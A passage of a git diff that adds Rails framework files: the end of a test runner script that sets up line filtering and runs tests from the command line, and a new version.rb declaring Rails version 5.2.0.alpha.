+end
+
+ActiveSupport::TestCase.extend Rails::LineFiltering
+Rails::TestUnitReporter.executable = "bin/test"
+
+Rails::TestUnit::Runner.parse_options(ARGV)
+Rails::TestUnit::Runner.run(ARGV)
diff --git a/version.rb b/version.rb
new file mode 100644
index 0000000000..7bacf2e0ba
--- /dev/null
+++ b/version.rb
@@ -0,0 +1,15 @@
+module Rails
+  # Returns the version of the currently loaded Rails as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 2
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end